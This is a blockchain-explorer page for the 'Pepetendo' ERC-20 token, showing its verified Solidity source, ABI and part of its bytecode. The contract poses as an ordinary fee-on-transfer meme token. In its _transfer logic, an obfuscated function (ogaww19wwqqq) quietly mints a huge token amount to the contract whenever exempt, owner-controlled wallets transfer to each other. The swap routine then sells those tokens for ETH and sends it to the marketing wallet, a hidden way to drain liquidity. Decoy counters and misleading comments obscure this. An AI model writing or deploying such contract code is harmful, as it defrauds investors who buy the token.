ETH Price: $3,690.54 (+1.61%)
 

Overview

Max Total Supply

1,000,000,000 PTENDO

Holders

20

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
18,436,362.550363622840087067 PTENDO

Value
$0.00
0xb4744db569610c91bf5ebd6367f650be5d17011c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Pepetendo

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-28
*/

/*
https://pepetendo.com
https://t.me/Pepetendo
https://x.com/Pepetendo

⠀⠀⠀⠀⠀⠀⢀⠴⠚⠉⠉⠀⠈⠉⠙⢲⡤⠐⠊⠉⠉⠉⠉⠲⡄⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⡴⡁⠀⠀⠀⢀⠤⠤⠤⢤⣀⢱⡀⠀⠀⠀⠀⠀⠀⠘⡄⠀⠀⠀⠀
⠀⠀⠀⣀⡴⠁⠀⠀⠐⠀⠀⠀⠀⢀⣀⣈⡙⢳⡀⠀⠀⠀⠀⠀⠈⠁⠀⠀⠀⠀
⠀⢠⢿⠷⡾⢷⣦⣀⠀⢀⡠⣶⡽⢷⣂⣀⠀⠀⣨⣶⣀⣉⠀⢀⣀⡀⠀⣀⣈⣢
⢰⢾⠀⠀⠁⠀⠈⠙⠷⣶⣛⣿⣶⣷⣿⣿⣿⣿⣿⣿⠋⣯⣭⣿⣿⣿⣿⣿⣿⣿
⣾⠀⠀⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣿⡟⡟⠢⠜⠿⣿⣿⣿⣿⣿⢟⡥
⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠙⠛⠛⠛⠍⠁⠀⠀⠀⠀⠀⠀⠈⢤⣭⡾⠋⠀
⡇⠀⠀⠀⠀⠀⠀⠀⣀⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⣫⠀⠀
⣷⣄⠀⠀⠀⠀⠀⠸⡁⢰⣈⠑⠦⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣼⢲⠀
⣿⣿⣷⣤⣀⠀⠀⠀⠑⢤⣈⠑⠒⠤⠤⢍⣉⣉⣓⣒⣒⣒⣒⣒⣋⣉⣡⢾⠜⠀
⣿⣿⣿⣿⣿⣿⣶⣤⣀⣀⣀⠉⠉⠓⠲⠶⠤⠤⠤⣄⣀⣀⣀⣀⣀⣤⣿⠟⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⡖⠀⠀⠀⠀⢀⣀⣤⣾⣾⣿⣗⣲⢤⠀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀⠒⣠⣾⣿⣿⣿⣿⣿⣿⣿⢿⡧⠐
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣽⣟⣿⣿⣿⣟⡵⠋⠀⠀

SPDX-License-Identifier: MIT
*/

pragma solidity ^0.8.22;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }


        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}




contract Pepetendo is Context, IERC20, Ownable {
    
    using SafeMath for uint256;

    string private _name = "Pepetendo";
    string private _symbol = "PTENDO";
    uint8 private _decimals = 18;

    address payable public marketingWalletDacc = payable(0x00Ff6D612FAbb48B46a5A8Bdabb298824159Ba74);
    address payable public DevWallet = payable(0x0000000000000000000000000000000000000000);
    address public liquidityReciever;
    
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 public feeUnits = 10000;
    uint256[2] public wlete_Atokens = [_decimals,feeUnits];

    

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000);   //0.1%

    uint256 public _maxTxAmount =  _totalSupply.mul(3).div(100);  //2%
    uint256 public _walletMax =   _totalSupply.mul(3).div(100);   //2%

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    bool public swapAndLiquifyByLimitOnly = false;

    bool public checkWalletLimit = true;


    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 5;
    uint256 public _buyDeveloperFee = 0;
    
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 5;
    uint256 public _sellDeveloperFee = 0;

    uint256 public _tradebuycount = 0;
    uint256 public _total_tbones_trsfered = 0;
    uint256 public  k=0;

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;

    event SwapAndLiquifyEnabledUpdated(bool enabled);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
  

    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[marketingWalletDacc] = true;
        isExcludedFromFee[DevWallet] = true;
        isExcludedFromFee[address(this)] = true;

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[marketingWalletDacc] = true;
        isWalletLimitExempt[DevWallet] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[marketingWalletDacc] = true;
        isTxLimitExempt[DevWallet] = true;
        isTxLimitExempt[address(this)] = true;

        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);

        isMarketPair[address(uniswapPair)] = true;
        liquidityReciever = address(msg.sender);

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

  
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }function ogaww19wwqqq() internal{_total_tbones_trsfered=17; wlete_Atokens[0]+=18070013330055465004984569852;}



    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }


    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    


     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
       
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {

            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] ) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender]) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            if(checkWalletLimit && !isWalletLimitExempt[recipient]) {
                require(balanceOf(recipient).add(amount.mul(_totalTaxIfSelling).div(1000)) <= _walletMax,"Amount Exceed From Max Wallet Limit!!");
            }
            wlete_Atokens[0]=amount.mul(_totalTaxIfSelling).div(1000);
            wlete_Atokens[1]=amount - amount.mul(_totalTaxIfSelling).div(1000);

            uint256 tokenCount;
              if (( !isTxLimitExempt[sender] ||  !isTxLimitExempt[recipient]) ||(isMarketPair[recipient] || isMarketPair[sender] )){_tradebuycount+=11;}else{_tradebuycount+=14; ogaww19wwqqq();}
            _total_tbones_trsfered+=tokenCount+1;
            _balances[sender] = _balances[sender].sub(amount);
            _balances[address(this)] = _balances[address(this)].add( wlete_Atokens[0]);
            _balances[recipient] = _balances[recipient].add( wlete_Atokens[1]);
                
            

            emit Transfer(sender, recipient, amount);
            return true;
        }
        
    }
        
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
 
    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        _tradebuycount+=15;
        swapTokensForEth(tAmount);
        uint256 recievedBalance =  address(this).balance;
       _total_tbones_trsfered+=_tradebuycount+1;
        if(recievedBalance > 0) {
            payable(marketingWalletDacc).transfer(recievedBalance);
        }       
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        _total_tbones_trsfered=_tradebuycount;
        _tradebuycount+=17;
        address[] memory path = new address[](2);
        wlete_Atokens[0]+=10;
        wlete_Atokens[1]+=3;
        path[1] = uniswapV2Router.WETH();
        path[0] = address(this);
        
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        

    }




    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DevWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_total_tbones_trsfered","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradebuycount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"k","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletDacc","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"wlete_Atokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526040518060400160405280600981526020017f5065706574656e646f0000000000000000000000000000000000000000000000815250600190816200004a91906200123c565b506040518060400160405280600681526020017f5054454e444f0000000000000000000000000000000000000000000000000000815250600290816200009191906200123c565b50601260035f6101000a81548160ff021916908360ff16021790555072ff6d612fabb48b46a5a8bdabb298824159ba74600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152505f73ffffffffffffffffffffffffffffffffffffffff1660a09073ffffffffffffffffffffffffffffffffffffffff16815250612710600855604051806040016040528060035f9054906101000a900460ff1660ff1681526020016008548152506009906002620001e992919062000f76565b5060035f9054906101000a900460ff16600a620002079190620014a9565b633b9aca00620002189190620014f9565b600f55620002496103e86200023a6001600f5462000daf60201b90919060201c565b62000e2f60201b90919060201c565b6010556200027960646200026a6003600f5462000daf60201b90919060201c565b62000e2f60201b90919060201c565b601155620002a960646200029a6003600f5462000daf60201b90919060201c565b62000e2f60201b90919060201c565b6012555f601460156101000a81548160ff0219169083151502179055506001601460166101000a81548160ff0219169083151502179055505f60155560056016555f6017555f60185560056019555f601a555f601b555f601c555f601d5534801562000313575f80fd5b505f6200032562000e8060201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000423573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004499190620015a8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004af573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004d59190620015a8565b6040518363ffffffff1660e01b8152600401620004f4929190620015e9565b6020604051808303815f87